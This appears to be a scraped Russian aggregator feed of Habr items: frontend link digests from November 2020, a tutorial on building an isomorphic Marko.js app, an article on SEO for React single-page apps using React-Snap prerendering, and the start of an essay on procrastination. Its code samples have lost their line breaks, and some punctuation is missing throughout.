en 9 новых браузерных функций 2020 года, о которых вы, вероятно, не знали
en Unit Testing: лучшие практики
en 1 бекенд, 5 фронтендов Todo List с Rails, React, Angular, Vue, Svelte и jQuery
en Бекенд или фронтенд, кому принадлежит слой оркестрации API?





CSS


habr Полное визуальное руководство-шпаргалка по Flexbox и Grid + туториал
habr Языки, которые почти стали CSS
video Где использовать флексы, а где гриды? Спойлер: да где хотите
en Релиз Tailwind CSS v2.0
en Цветовая темизация с помощью кастомных свойств CSS и Tailwind
en Что нового в Tailwind 2.0
en Полное руководство по градиентам в CSS
en Липкий сайдбар с динамическим размером на HTML иCSS
en Создание отзывчивых компонентов с прозрачностью
en Нестандартное мышление с помощью CSS Grid

JavaScript


en Анонс TypeScript 4.1
en Самый точный способ запланировать выполнение функции в веб-браузере
en Случаи слабых зависимостей в JS
en Как создать JavaScript PDFViewer








Браузеры


habr Устройство современного веб-браузера Chrome: (часть 1/4), (часть 2/4), (часть 3/4), (часть 4/4)
habr В Firefox 83 внедрили режим только HTTPS
Релиз Firefox 83
Компания Mozilla передала движок Servo организации Linux Foundation
Google представила Chrome 87 последнее в этом году обновление браузера с самый большим приростом быстродействия за многие годы и новыми функциями
С помощью бага в Firefox можно было похитить файлы cookie с Android-устройства
en Троттлинг табов и другие улучшения производительности в Chrome M87

Дайджест за прошлую неделю.
Материал подготовили dersmoll и alekskorovin.
Подробнее..

Дайджест свежих материалов из мира фронтенда за последнюю неделю 443 (23 29 ноября 2020)

30.11.2020 00:22:29 | Автор: admin
Предлагаем вашему вниманию подборку с ссылками на новые материалы из области фронтенда и около него.


Медиа|Веб-разработка|CSS|JavaScript


Медиа


podcast Новости 512 от CSSSR: Браузер изнутри, git наглядно, bfcache, Electron 11, скепсис и Web Vitals, TIOBE в ноябре
podcast Подкаст Веб-стандарты 257. Chrome 87, Firefox 83, Servo, Safari 14, Open Prioritization, кэш туда-обратно, гриды и minmax
podcast Новости 512 от CSSSR: Chrome 87, Firefox 83, TypeScript 4.1, aria-label, HTML-формы, CSS-градиенты, CSSBattle 2020
video JavaScript fwdays'20 Autumn online
podcast en The Overflow Podcast 289: React, jQuery, Vue: whats your favorite flavor of vanilla JS?
podcast en ShopTalk 440: Serverless, Local Database, Edge Functions, and Using WordPress Serverless
podcast en Подкаст syntax.fm: Potluck Frameworks vs Libraries Debugging CSS Modules vs Styled Components Resumes Stress Management More

Веб-разработка


en Почему для пользователей хорошо, что HTML, CSS и JS это разные языки
en Мыслить как фронтенд-разработчик
en Изучение возможностей элементов Details и Summary
en Современный стартовый HTML шаблон
en Глубокое погружение в Page Lifecycle API
en Введение в GraphQL для разработчиков
en Обратно к основам: создание кликабельных карточек на HTML, CSS и JavaScript




CSS


habr Подробности об использовании CSS-функции minmax() в Grid-макетах
en Конечный автомат, созданный с помощью HTML чекбоксов и CSS
en Chrome DevTools: рефакторинг и улучшение таблиц стилей с помощью CSS Overview Panel
en 5 псевдоэлементов CSS, о существовании которых вы даже не подозревали (по мнению автора)
en Центрированние навигации с помощью fit-content
en Рекомендации по созданию CSS-фреймворка
en Быстрый CSS-совет: как легко показать исходный код
en Создание кнопки на CSS с эффектом сияния и плавной сменой цвета со временем


JavaScript


habr ECMAScript 4: версия, которой не было
habr Детальный обзор Well-known Symbols
habr Marko.js фронтенд от ebay.com
Декораторы JavaScript с нуля
en Рендеринг на стороне сервера в JavaScript: современный подход
en JavaScript DOM Selectors узнайте, как получить доступ к DOM [Инфографика]
en Используйте console.log() как профессионал







Дайджест за прошлую неделю.
Материал подготовили dersmoll и alekskorovin.
Подробнее..

Marko.js фронтенд от ebay.com

23.11.2020 00:11:51 | Автор: admin
Marko.js не так популярен, как Angular, React.js, Vue.js или Svelte. Marko.js это проект ebay.com, который с 2015 года стал достоянием opensource. Собственно, именно на этой библиотеке построен фронтенд ebay.com, что позволяет сделать заключение о её практической ценности для разработчиков.

Ситуация с Marko.js, немного напоминает ситуацию с фреймворком Ember.js, который, несмотря на то что работает в качестве фронтенда нескольких высоко-нагруженных сайтов (например Linkedin) о нем мало знает среднестатистический разработчик. В случае с Marko.js можно утверждать, что совсем не знает.

Marko.js неистово быстр, особенно при серверном рендеринге. Что касается серверного рендеринга, то скорость Marko.js, скорее всего, останется недосягаемой для его неторопливых собратьев, и этому есть объективные причины. О них и поговорим в предлагаемом материале.

SSR-first фреймворк


Marko.js может стать основой для классического фронтенда (с серверным рендерингом), для одностраничного приложения (с клиентским рендерингом) и для изоморфного/универсального приложения (пример которого будет рассмотрен далее). Но все же, Marko.js можно считать SSR-first библиотекой, то есть ориентированной, в первую очередь, на серверный рендеринг. От других компонентных фреймворков, Marko.js отличает то, серверный вариант компонента не строит DOM, который потом сериализуется в строку, а реализован как поток вывода. Чтобы было ясно о чем речь, приведу листинг простого серверного компонента:

// Compiled using marko@4.23.9 - DO NOT EDIT"use strict";var marko_template = module.exports = require("marko/src/html").t(__filename),    marko_componentType = "/marko-lasso-ex$1.0.0/src/components/notFound/index.marko",    marko_renderer = require("marko/src/runtime/components/renderer");function render(input, out, __component, component, state) {  var data = input;  out.w("<p>Not found</p>");}marko_template._ = marko_renderer(render, {    ___implicit: true,    ___type: marko_componentType  });marko_template.meta = {    id: "/marko-lasso-ex$1.0.0/src/components/notFound/index.marko"  };

Идея, что серверный компонент не должен быть таким же как клиентский компонент, представляется очень естественной. И на этой основе изначально строилась библиотека Marko.js. Я могу предположить, что в случае с другими фреймворками, которые изначально строились как клиент-ориентированные, серверный рендеринг приматывался скотчем к уже существующей весьма сложной кодовой базе. Отсюда возникло это архитектурно неверное решение, когда на стороне сервера воссоздается DOM, чтобы существующий клиентский код мог быть переиспользован без изменений.

Почему это важно


Прогресс в создании одностраничных приложений, который наблюдается с широким распространением Angular, React.js, Vue.js, наряду с положительными моментами, выявил и несколько фатальных просчетов клиент-ориентированной архитектуры. В далеком 2013 году Spike Brehm из Airbnb опубликовал программную статью, в которой соответствующий раздел называется Ложка дегтя в бочке меда. При этом все отрицательные пункты бьют по бизнесу:

  • увеличивается время загрузки первой страницы;
  • контент не индексируется поисковиками;
  • проблемы с доступностью для людей с ограниченными возможностями.

Как альтернатива, наконец, были созданы фреймворки для разработки изоморфных/универсальных приложений: Next.js и Nust.js. И тут начинает вступать в игру другой фактор производительность. Всем известно, что node.js не так хорош, если его нагружать сложными расчетами. А в случае, когда мы на сервере создаем DOM, а потом запускаем его сериализацию, node.js очень быстро выдыхается. Да, мы можем поднимать бесконечное количество реплик node.js. Но может быть попробовать сделать все то же но на Marko.js?

Как начать работать с Marko.js


Для первого знакомства рекомендую начать как описано в документации с команды npx @marko/create --template lasso-express.

В результате получим основу для дальнейшей разработки проектов с настроенным сервером Express.js и компоновщиком Lasso (этот компоновщик является разработкой ebay.com и с ним проще всего интегрироваться).

Компоненты в Marko.js, как правило, располагаются в каталогах /components в файлах с расширением .marko. Код компонентов интуитивно понятен. Как сказано в документации, если Вы знаете html, то вы знаете Marko.js.

Компонент рендерится на сервере, и потом воссоздается (hydrate) на клиенте. То есть, на клиенте мы получаем не статический html, а полноценный клиентский компонент, с состоянием и событиями.

При запуске проекта в режиме разработки работает горячая перезагрузка (hot reloading).

Для построения сложного приложения, нам, скорее всего, кроме библиотеки компонентов необходимо иметь еще кое-что, например роутинг, стор, каркас для создания изоморфных/универсальных приложений. И тут, увы, проблемы те же, с которыми первые годы сталкивались разработчики React.js нет готовых решений и общеизвестных подходов. Поэтому все, что было до этого момента, можно назвать вступлением к беседе о построении приложения на основе Marko.js.

Строим изоморфное/универсальное приложение


Как я уже сказал, о Marko.js не так много статей, поэтому все нижеследующее плод моих экспериментов, отчасти основанный на работе с другими фреймворками.

Marko.js позволяет задавать и менять имя тэга или компонент динамически (то есть программно) этим и воспользуемся. Сопоставим роутам имена компонентов. Поскольку из коробки в Marko.js роутинга нет (интересно узнать как это построено на ebay.com) воспользуемся пакетом, который как раз для таких случаев universal-router:

const axios = require('axios');const UniversalRouter = require('universal-router');module.exports = new UniversalRouter([  { path: '/home', action: (req) => ({ page: 'home' }) },  {    path: '/user-list',    action: async (req) => {      const {data: users} = await axios.get('http://localhost:8080/api/users');      return { page: 'user-list', data: { users } };    }  },  {    path: '/users/:id',    action: async (req) => {      const {data: user} = await axios.get(`http://localhost:8080/api/users/${req.params.id}`);      return { page: 'user', data: { req, user } };    }  },  { path: '(.*)', action: () => ({ page: 'notFound' }) }])

Функционал пакета universal-router прост до безобразия. Он разбирает строку url, и вызывает с разобранной строкой асинхронную функцию action(req), внутри которой мы можем, например, получить доступ к разобранным параметрам строки (req.params.id). А поскольку функция action(req) вызывается асинхронно, мы можем прямо здесь инициализировать данные запросами к API.

У нас, как вы помните, в прошлом разделе был создан проект командой npx @marko/create --template lasso-express. Возьмем его как основу для нашего изоморфного/универсального приложения. Для этого немного изменим файл server.js

app.get('/*', async function(req, res) {    const { page, data } = await router.resolve(req.originalUrl);    res.marko(indexTemplate, {            page,            data,        });});

Также изменим шаблон загружаемой страницы:

<lasso-page/><!doctype html><html lang="en">  <head>    <meta charset="UTF-8"/>    <title>Marko | Lasso + Express</title>    <lasso-head/>    <style>      .container{        margin-left: auto;        margin-right: auto;        width: 800px;    }    </style>  </head>  <body>    <sample-header title="Lasso + Express"/>    <div class="container">      <router page=input.page data=input.data/>    </div>    <lasso-body/>    <!--    Page will automatically refresh any time a template is modified    if launched using the browser-refresh Node.js process launcher:    https://github.com/patrick-steele-idem/browser-refresh    -->    <browser-refresh/>  </body></html>

Компонент <router/> как раз та часть которая будет отвечать за загрузку динамических компонентов, имена которых получаем из роутера в атрибуте page.

<layout page=input.page>  <${state.component} data=state.data/></layout>import history from '../../history'import router from '../../router'class {  onCreate({ page, data }) {    this.state = {      component: require(`../${page}/index.marko`),      data    }    history.listen(this.handle.bind(this))  }  async handle({location}) {    const route = await router.resolve(location);    this.state.data = route.data;    this.state.component = require(`../${route.page}/index.marko`);  }}

Традиционно, Marko.js имеет состояние this.state, изменение которого вызывает изменение представления компонента, чем мы и пользуемся.

Работу с историей приходится реализовывать также самостоятельно:

const { createBrowserHistory } = require('history')const parse = require('url-parse')const deepEqual = require('deep-equal')const isNode = new Function('try {return !!process.env;}catch(e){return false;}') //eslint-disable-linelet historyif (!isNode()) {  history = createBrowserHistory()  history.navigate = function (path, state) {    const parsedPath = parse(path)    const location = history.location    if (parsedPath.pathname === location.pathname &&      parsedPath.query === location.search &&      parsedPath.hash === location.hash &&      deepEqual(state, location.state)) {      return    }    const args = Array.from(arguments)    args.splice(0, 2)    return history.push(...[path, state, ...args])  }} else {  history = {}  history.navigate = function () {}  history.listen = function () {}}module.exports = history

Ну и, наконец, должен быть источник навигации, который перехватывает события клика по ссылке, и вызывает навигацию на странице:

import history from '../../history'<a on-click("handleClick") href=input.href><${input.renderBody}/></a>class {  handleClick(e) {    e.preventDefault()    history.navigate(this.input.href)  }}

Для удобства изучения материала я представил результаты в репозитарии.

apapacy@gmail.com
22 ноября 2020 года
Подробнее..

SEO-оптимизация сайта на React или как добиться конверсии от поисковиков если у вас Single Page Application

30.11.2020 14:07:23 | Автор: admin
SEO-оптимизация сайта на React или как добиться конверсии от поисковиков если у вас Single Page ApplicationSEO-оптимизация сайта на React или как добиться конверсии от поисковиков если у вас Single Page Application

Смоделируем ситуацию: Вы являетесь членом команды веб-разработчиков, занимающихся созданием frontend-части молодого интернет-ресурса на базе React. И вот, когда уже начинает казаться что ваша разработка достигла определенной функциональной, качественной и эстетической кондиции, вы сталкиваетесь с достаточно сложным и не менее интересным вопросом: А что делать с SEO? Как добиться качественной конверсии от поисковых систем? Как сделать так, чтобы о вашем ресурсе узнал весь мир, не вкладывая в это огромного количества денег за платные рекламные компании либо сил в крупномасштабную дополнительную разработку? Как заставить контент вашего Single Page Application работать на вас в поисковых выдачах и приносить клиентов? Интересно? Тогда поехали

Привет! Меня зовут Антон и я являюсь full-stack-разработчиком со стажем работы более 12 лет. За время своей трудовой деятельности я работал над проектами различной сложности и с разнообразными стеками технологий. Последние 6 лет я сосредоточил scope своего внимания в большей мере на frontend, который стал в итоге профильным направлением, так как привлек у меня больший интерес по сравнению с backend-ом (не хочу при этом сказать, что backend в целом менее интересен. Просто дело вкуса и особенности развития карьеры исключительно в моём личном случае).

В данный момент я являюсь team-лидером команды разработчиков на проекте Своё.Жильё - это экосистема Россельхозбанка с помощью которой можно выбрать недвижимость, рассчитать стоимость кредита, подать заявку и получить ответ в режиме онлайн. Уже сейчас в экосистеме есть возможность оформить заявку на ипотечный кредит и выбрать недвижимость из более чем 1,2 млн вариантов жилья. Набор онлайн-сервисов позволяет сократить количество посещений офисов банка до одного непосредственно для подписания кредитного договора и проведения расчетов с продавцом.

Проект на момент написания данного материала является еще достаточно молодым, но уже начал приносить заметную конверсию в общую бизнес-модель банка.

Используемый стек и преследуемые цели

Не буду заострять внимание на полном стеке frontend технологий, используемых экосистеме Своё Жилье, а опишу лишь то, что действительно важно для дальнейшего рассказа, чтобы стало понятно, с чем в результате мы имеем дело. А именно:

  • Webpack

  • React

  • Redux

Из вышеперечисленного сразу становится ясно, что на выходе мы получаем Single Page Application на React, что влечет за собой как безграничное количество возможностей и плюсов данного стека, так и ряд подводных камней, связанных с реализацией SEO-friendly ресурса, который сможет в конечном счёте выполнить ряд задач, важных для продвижения в поисковых системах, социальных сетях и так далее:

  • Поисковой робот должен видеть все ссылки на страницы сайта;

  • Контент каждой из страниц должен быть доступен для индексирования поисковым роботом, дабы попасть в итоге в выдачи результатов поиска;

  • Контент страниц для корректной индексации должен содержать все необходимые элементы, важные для создания SEO-оптимизированного сайта.

В данном списке я не затрагиваю задачи, которые необходимо решать на стороне backend (такие как поддержка last-modified, оптимизация скоростных показателей и т.п.), чтобы искусственно не раздувать общий материал и не отвлекаться от основной темы.

Казалось бы, перечень задач не так велик и решался бы практически из коробки на любом обычном относительно стандартном интернет ресурсе Но тут нужно вернуться к тому, что мы имеем дело не с привычным веб-сайтом, у которого все страницы с их контентом отдаются с backend-а, а с Single Page Application, у которого контент страничек рендерится (отрисовывается средствами js) на стороне браузера. А ведь львиная доля поисковых роботов не умеет выполнять js-код при обходе интернет-ресурсов, и поэтому они попросту не увидят наш контент (Google умеет, но делает это пока недостаточно корректно и эффективно. Да и кроме Google, есть еще множество других целевых поисковых систем и кейсов, при которых голый SPA не сможет решить поставленные задачи).

Поэтому давайте нальём тёплого чайку и поэтапно пройдемся по целям и тому, что в них должно включаться для понимания и подбора оптимальных решений поставленных задач.

Для того, чтобы поисковые роботы увидели страницы сайта, им необходимо иметь возможность прочесть контент страницы, в том числе содержащий ссылки на другие страницы (при этом подход с sitemap я тут описывать не буду, но упомянул, на случай если кому-то станет интересно, можете погуглить. Мы пока обходимся без карт). Из этого вытекает, что поисковой робот всё же должен по старинке загрузить html-разметку, содержащую контент страницы с web-сервера. Ну и конечно же, каждая из страниц, запрашиваемых с web-сервера, должна отдавать код 200 (случаи с необходимостью переадресаций с кодом 301 я тут также рассматривать не буду) и приходить в виде стандартного html-документа, содержащего текстовый и медиа-контент данной страницы, а так же ссылки на другие страницы и, конечно же, необходимые для SEO-оптимизации элементы, такие как ряд обязательных meta-тегов, заголовков и так далее. Общий список необходимого SEO-тюнинга любого веб-ресурса достаточно велик и про него можно написать отдельный материал и не один. Затронем тут обязательный план минимум, который включит в себя следующие пункты:

1 - Каждая из страниц ресурса должна в блоке <head> включать в себя:

  • Meta-тег title (заголовок страницы)

  • Meta-тег description (описание страницы)

  • Meta-тег keywords (перечень ключевых фраз)

2 - Каждая страница должна иметь в блоке <body> основной заголовок внутри html-элемента <h1> расположенный как можно выше перед началом текстового контента.

3 - Каждое изображение, которое присутствует на странице в виде html-элемента <img>, должно иметь атрибут alt, описывающий содержимое данного изображения.

Ну и конечно же, на сайте не должно быть битых ссылок отдающих с web-сервера код ошибки 404 (либо иной) или какой-либо пустой контент вместо ожидаемого.

И тут снова вспоминаем, что у нас SPA (Single Page Application) и с backend-а приходит лишь пустая часть разметки html-документа, включающая в себя информацию для загрузки js и css кода, который после загрузки и выполнения отрисует нам контент запрошенной страницы.

Вот тут мы и начнем наши танцы с бубном. Перед началом хочется отдельно отметить, что на момент моего прихода в проект, он уже был частично написан с минимальным функционалом. И конечно хотелось реализовать SEO-оптимизацию с минимальным затрагиванием общей архитектуры приложения.

Подбор решения и реализация

Что же делать, если у Вас уже есть готовый SPA, либо просто отточенный архитектурный подход, нарушать который ради SEO было бы кощунством?

Ответ: Реализация пререндеринга, как конечного шага сборки приложения. Пререндеринг это процесс выполнения js-кода после его основной сборки и сохранение получившихся html-копий отрисованных страниц, которые в последствии и будут отдаваться с web-сервера при соответствующих запросах.

Пререндеринг

Для реализации данного кейса есть ряд готовых решений и инструментов с различными ограничениями, подходящих для разных стеков frontend-технологий и с разным уровнем сложности внедрения.

Конечно есть такие решения как Next.Js и ему подобные (а также другие способы реализации того же SSR). И я не могу не упомянуть об этом. Но изучив их, я пришел к выводу, что они вносят ряд ограничений (либо усложнений) в процесс конфигурации основной сборки и имеют крайне заметное влияние на архитектуру приложения. Также, есть сторонние внешние сервисы пререндеринга, но для закрытой экосистемы банка лишний внешний инструмент был бы крайне нежелателен (и опять же, зачем перекладывать зону ответственности на внешний инструмент, если можно реализовать его функционал внутри проекта).

После анализа, я пришел к максимально подходящему нам инструменту для покрытия описанных кейсов, реализующему проход по страницам SPA на React (и не только) и создание html-копий страниц.

Выбор пал на React-Snap.

Если в двух словах, то данный инструмент позволяет после сборки осуществить запуск Chromium-а и передать ему получившееся приложение. Затем пройти по всем его страницам, используя пул найденных ссылок так, как сделал бы это поисковой робот. При этом html-копии отрисованных средствами js страниц будут сохранены в выбранный каталог с сохранением иерархии путей, из которых они были получены относительно корня проекта.

Важной отличительной чертой данного подхода и инструмента является то, что для реализации его работы не важна специфика архитектуры самого приложения, так как он абсолютно стандартным образом будет запускать Ваш заранее собранный SPA в практически обыкновенном браузере.

Установка React-Snap не вызывает никаких дополнительных вопросов, так как его пакет доступен для скачивания стандартным образом из npm (и yarn).

Что же касается его настройки, тут, пожалуй, стоит проговорить несколько основных моментов, чтобы упростить быстрый старт тем, кто ранее не сталкивался с данным инструментом.

Конфигурация запуска React-Snap описывается в корневом файле package.json проекта. Давайте рассмотрим пример минимальной конфигурации:

"scripts": {    // Необходимые команды запуска hot-а, сборки и т.п.    "build:production": "webpack --mode production && react-snap"    // Другие необходимые команды},"reactSnap": {    "source": "dist", // Каталог собранного приложения    "destination": "dist", // Каталог для сохранения html-копий    "include": [ // Список энтрипоинтов для обхода страниц        "/",        "/404",        "/500"        // Другие необходимые энрипоинты    ]}

На самом деле, полный перечень доступных настроек достаточно широк, но лучше не стану его расписывать, чтобы вы смогли осознанно выбрать только необходимое конкретно в вашем случае.

К примеру, запуск React-Snap можно осуществить, просто добавив в блок scripts команду:

"postbuild": "react-snap"

Но тогда он будет запускаться после каждого билда, а в проекте их может быть несколько вариантов (например, для production и тестового стенда, где на последнем нам наоборот, может быть не нужен SEO и какой-либо еще функционал, такой как инструменты аналитики типа Google Analytics и т.п.).

Что касается блока include, его желательно описать, иначе, например, html-копия для странички ошибки (500, либо другая техническая страница, при наличии) не будет создана, так как не на одной из страниц сайта не фигурирует ни одной ссылки на нее. Как следствие, React-Snap не узнает о её наличии. В теории и поисковик на них ходить не должен, но бывают случаи, когда страница создается для распространения ссылки за пределами сайта, а на сайте на нее ссылки может и не быть (к примеру, баннеры для рекламных компаний и тому подобное). Это как раз тот самый случай. Тут стоит проанализировать, нет ли у вас еще каких-то (возможно аналогичных технических) страничек, на которые прямые ссылки на сайте отсутствуют.

Далее, для нормальной работы самого React-приложения у конечного пользователя, поверх DOM который придёт с web-сервера, нам потребуется внести небольшую правку в корневой render:

import { hydrate, render } from "react-dom";//  Ваш кодconst rootElement = document.getElementById("root"); // (или ваш id при олтличии)if (rootElement.hasChildNodes()) { // Если в корневом элементе есть контент, то  hydrate(<App />, rootElement); // "цепляем" приложение на существующий DOM.} else { // Иначе рендерим приложение стандартным образом  render(<App />, rootElement);}

Вот и всё что нам потребуется для начала (а возможно в ряде случаев и в принципе всё что необходимо будет сделать). Уже можно попробовать выполнить build с созданием html-копий страниц вашего ресурса. На выходе (с приведенным выше конфигом) в каталоге /dist вы получите тот же набор js и css файлов (а также других ресурсов), что и ранее, index.html, плюс файл 200.html и другие html-файлы с копиями контента ваших страниц.

Для полноты картины сразу опишу небольшой подводный камень с пояснением, для понимания, что при таком подходе на реальном production-web-сервере вам нужно будет позаботиться о следующем нюансе

Ранее у вас скорее всего по умолчанию на любой запрос, если ресурс отсутствует физически на сервере, отдавалась index.html, которая запускала приложение. Далее, в соответствии с запросом из адресной строки, приложение отрисовывало необходимую страницу, либо страницу 404, если не находило соответствие. Теперь же, наш index.html уже не является пустым, а содержит контент главной страницы. Но страничка с пустой html-разметкой для случая попытки запуска страницы без html-копии всё же существует. Это та самая вышеупомянутая 200.html. Таким образом, на web-сервере необходимо перенастроить дефолтный ресурс для случая 404 с index.html на 200.html, чтобы избежать открытия кривых страниц (с контентом главной страницы поверх которого будет пытаться запуститься наш SPA) при обращении на страницы, html-копий для которых нет, либо просто при некорректном обращении на несуществующую страницу.

И вот у нас есть готовое приложение, страницы которого доступны для любого поисковика.

Meta-теги, заголовки, описания

Если с вышеописанным разобрались, то перейдем к реализации следующей части нашей задачи, а именно к необходимым meta-тегам и другим SEO-нюансам на страницах.

<!doctype html><html lang="ru">  <head>    <meta charset="utf-8">    <!-- ...и т.д. -->    <title>Контент meta-тега Title</title>    <meta name="description" content="Контент meta-тега Description">    <meta name="keywords" content="ключевые фразы для meta-тега keywords">  </head>  <body>    <div id="root">      <div className="content">        <h1>Заголовок страницы H1</h1>        <p>Текстовый контент страницы...</p>        <img alt="Описание изображения" src="...">        <!-- ...и т.д. -->      </div>    </div>    <script src="http://personeltest.ru/aways/habr.com/application.js"></script>  </body></html>

На заголовки <h1> и alt-ы для картинок особое внимание заострять не буду. Тут всё просто: идем по существующему js-коду react-компонентов страниц и добавляем там, где этого нет (а также не забываем это делать в дальнейшем для новых компонентов). А вот относительно meta-тегов title, description и keywords стоит немного поговорить отдельно. Они должны быть уникальными для каждой страницы. О том, зачем нужен каждый из них и как его стоит формировать, будет полезнее почитать более профильные материалы по SEO. Для нас же стоит более прагматичная задача реализовать средствами js изменение контента данных тегов при навигации между страницами (таким образом у каждой html-копии страницы они будут разными как и положено, а при дальнейшей навигации по приложению после его запуска, они так же будут меняться в зависимости от текущей странички, но уже силами js приложения).

В целом, для реализации данного функционала есть готовый инструмент:

React-Helmet

Можно использовать его, либо на его основе написать что-то своё. Суть дела не изменится. Предлагаю просто перейти по ссылке и изучить то, что делает данный React-компонент и воспроизвести у себя необходимый функционал с его помощью либо написав собственное решение.

В итоге мы добавили необходимые для эффективного SEO элементы на страницы нашего интернет-ресурса.

Подводные камни, нюансы реализации и советы

Хочу в первую очередь затронуть один нюанс, знать о котором будет полезно при дальнейшей разработке. Как правило, при создании html-копий рано или поздно появятся кейсы, при которых поведение приложения для пререндера должно будет отличаться от поведения приложения в браузере у реального пользователя. Это может касаться случаев, начиная от наличия каких-либо прелоадеров, которые не нужны в html-копиях или статистического функционала, который не должен выполняться на этапе создания html-копий (и возможно даже будет вызывать ошибки при их создании) заканчивая банальным объявлением адреса для API backend-а, который вероятно настроен у вас для hot в разделе devServer webpack-конфига как proxy, а в самом приложении указан как относительный, что не заработает, так как во время работы пререндера hot не запущен и нужно ходить на реальный адрес backend-а. Как вариант, могу также привести пример в виде распространенного окошка, которое сейчас есть практически на любом интернет-ресурсе, говорящее о том, что на сайте используются Cookies. Как правило, окошко отображается на любой страничке, пока пользователь в какой-то момент один раз не закроет его. Но вот беда: пререндер то не знает, что что-то нужно закрыть, а соответственно контент данного окошка будет присутствовать на всех html-копиях, что плохо для SEO.

Но не всё так страшно и решение есть. В таких местах в приложении мы можем использовать условие для запуска тех или иных функций (или использования тех или иных переменных, как в примере с адресом API). Дело в том, что у пререндера есть специфическое имя user-agent-а ReactSnap (кстати через параметры можно задать своё при необходимости). К примеру:

const isPrerender = navigator.userAgent === "ReactSnap";

Как и где это можно объявить и использовать, думаю, не нуждается в дальнейшем объяснении. Полагаю, как минимум пара мест, где это пригодится, найдётся в любом проекте.

Также стоит затронуть случай, с которым с большой долей вероятности вам придется столкнуться. А именно: React-Snap обошел не все страницы, либо, нам стало необходимо, чтобы он не заходил в какие-либо разделы или на определенные страницы и не создавал для них html-копии.

Тут сразу стоит внести понимание в процесс работы пререндера React-Snap. Он запускает наше приложение и осуществляет обход по ссылкам, найденным на страницах. При этом учитываются именно html-элементы <a>. Если пререндер не сохранил html-копию для какой-либо страницы (либо мы намеренно хотим этого добиться), то скорее всего переход на эту страницу сделан (либо вы намеренно можете так сделать) с использованием, к примеру, onClick а не через обязательный атрибут ссылки - href. Тут нужно упомянуть, что стандартные компоненты Link либо NavLink из react-router-dom фактически создают в DOM именно html-элемент <a> с href, так что если не отбиваться от классических подходов, то проблем не будет.

Следующим полезным знанием будет то, что нам обязательно необходимо позаботиться о минификации размеров DOM, который будет содержаться в наших html-копиях, так как большой html-документ будет дольше загружаться с backend-а, съедать больше трафика, да и поисковые роботы могут попросту не добраться до необходимого контента, если, к примеру, у вас в <head> документа все стили заинлайнины, как и все svg-изображения в <body>, что раздует каждую из html-копий до огромных размеров. Для понимания: если логотип вашего ресурса рендерится как inline-svg, то в файле каждой html-копии он будет присутствовать именно в таком виде.

Выход: настроить webpack таким образом, чтобы при сборке все стили складывались в css-файлы, а inline-svg заменить на использование <img> (либо средствами css) для отображения картинок (и то и другое будет загружаться один раз, а далее браться из кеша браузера и, что главное, задублированный контент таких ресурсов будет отсутствовать в html-копиях).

Еще один небольшой совет: общее количество и список всех созданных html-копий страниц, либо ошибок создания и различные вызванные редиректы (к примеру 404), а также прочие проблемные места мы сможем сразу увидеть и проанализировать благодаря достаточно понятному и подробному логу, который будет выводиться в процессе работы пререндера React-Snap. Не стоит забывать смотреть в него после сборки, так как на этом этапе мы всегда сможем увидеть те же проблемы на сайте, что увидит поисковой робот, но при этом у нас будет возможность заблаговременно что-то поправить при необходимости.

Заключение

Пожалуй, вышеописанного будет достаточно, чтобы начать и относительно быстро реализовать SEO-friendly сайт, написанный в виде Single Page Application. Далее всё будет зависеть лишь от особенностей конкретно вашего интернет-ресурса и тех целей, которые вы будете преследовать при его создании. Я постарался описать основные нюансы и подводные камни, с которыми пришлось столкнуться в процессе аналогичной разработки.

Основные плюсы данного подхода заключаются в том, что мы получаем инструментарий, который не требует архитектурных доработок приложения, дополнительного обучения программистов в команде и высоких трудозатрат на реализацию. После внедрения технологии, вы просто продолжаете разрабатывать ваше приложение по всем традициям React и придерживаясь ранее реализованной архитектуры. При этом ваше приложение уже не будет являться обычным SPA в привычном смысле, так как старт любой страницы будет сопровождаться загрузкой копии содержимого данной страницы, а дальнейшая навигация по приложению будет осуществляться уже привычным образом средствами SPA, что позволит поисковым роботам полноценно взаимодействовать с вашим контентом и выводить в результатах поиска актуальные ссылки с соответствующими описаниями страниц, а конечным пользователям как и ранее будет доступен весь спектр функционала Single Page Application.

Ну вот мы и добрались до финала. Сейчас вам удалось познакомиться с реально работающим на продакшн-версии проекта Своё.Жильё от Россельхозбанка подходом по реализации SEO-friendly интернет-ресурса на примере React-приложения и рассмотреть основные тезисы и подводные камни процесса создания SEO-эффективного сайта на основе SPA. Надеюсь, что полученные в данном материале знания будут полезны и найдут применение. Спасибо за уделённое на прочтение время.

Подробнее..

Recovery mode Наша Зверская сущность

27.11.2020 02:18:05 | Автор: admin

На Хабре очень много статей про прокрастинацию, её уже закрывали, хоронили но все они очень технические конечно, это Хабр, сэр!


На мой взгляд, GTD и всякие планы спасения не работают, а чаще усиливают прокрастинацию. Они не решают фундаментальную причину, а пытаются сгладить последствия. Я же хочу предложить вам совсем другой взгляд, основные причины и другие методы решения.


zver


TL;DR> Наш мозг поделен между отдельными и самостоятельными Человеком и Зверем. Разлад между ними причина прокрастинации, выгорания и случаев, когда мы выбираем не то, что хотим на самом деле. Зверь отвечает за очень многие процессы, а мы не привыкли его слушать.


Я поделюсь своими методами работы со Зверем. Если интересно добро пожаловать под кат.


ps aux | grep прокрастинация:


  • принятие решений
  • оценка важности события
  • оценка выполнимости задачи
  • отметка выполнения

Когда Зверю достаётся контроль за телом и мыслями, наше поведение отличается от того, что мы сами же хотим. Вывод надо научиться понимать и контролировать Зверя, обманывать и договариваться с ним.


Disclaimer: К чёрту эзотерику


Я очень не хотел бы, чтобы эта заметка воспринималась как очередное "выпусти своего внутреннего ребёнка", "нечестивое число 65536 на челе Его" или "вы по гороскопу водолейский сзадирак". Это не психология, не эзотерика, не новая секта. Это просто модель восприятия, фреймворк, который помогает понять самого себя и управлять собой.


Но эта модель хороша тем, что а) проста для понимания, как помидор б) отлично объясняет очень многие вопросы "зачем в школе учить неинтересные предметы?", "почему я не могу написать эту статью уже третий год?", "почему нам нравятся одни люди, а выбираем мы других?", "почему я не могу заснуть, хотя хочу спать?" или просто "чем взрослые отличаются от детей?".


Поэтому позвольте мне дальше использовать эти термины, не впадая в эзотерику.


Модель Человек-Зверь


Зверь это не паразит, не что-то чужое, это и есть мы. Просто наше сознание в процессе божественно одобренной эволюции развивалось неравномерно за последние жалкие десять тысяч лет мы добились такого прогресса, который homo habilis и за 2.8 млн лет не снился.


Костыли и наследование

Механизмы работы мозга сохранились ещё с тех пор, или даже от более ранних предков. Например, когда нам нужно согнуть один палец, немного дёргаются все остальные потому что мозг не просто даёт сигнал "согни безымянный палец", он даёт два противоречащих сигнала: "согни палец" и "остальные не сгибай". Потому что чтобы схватить банан с ветки, отдельные пальцы не нужны.

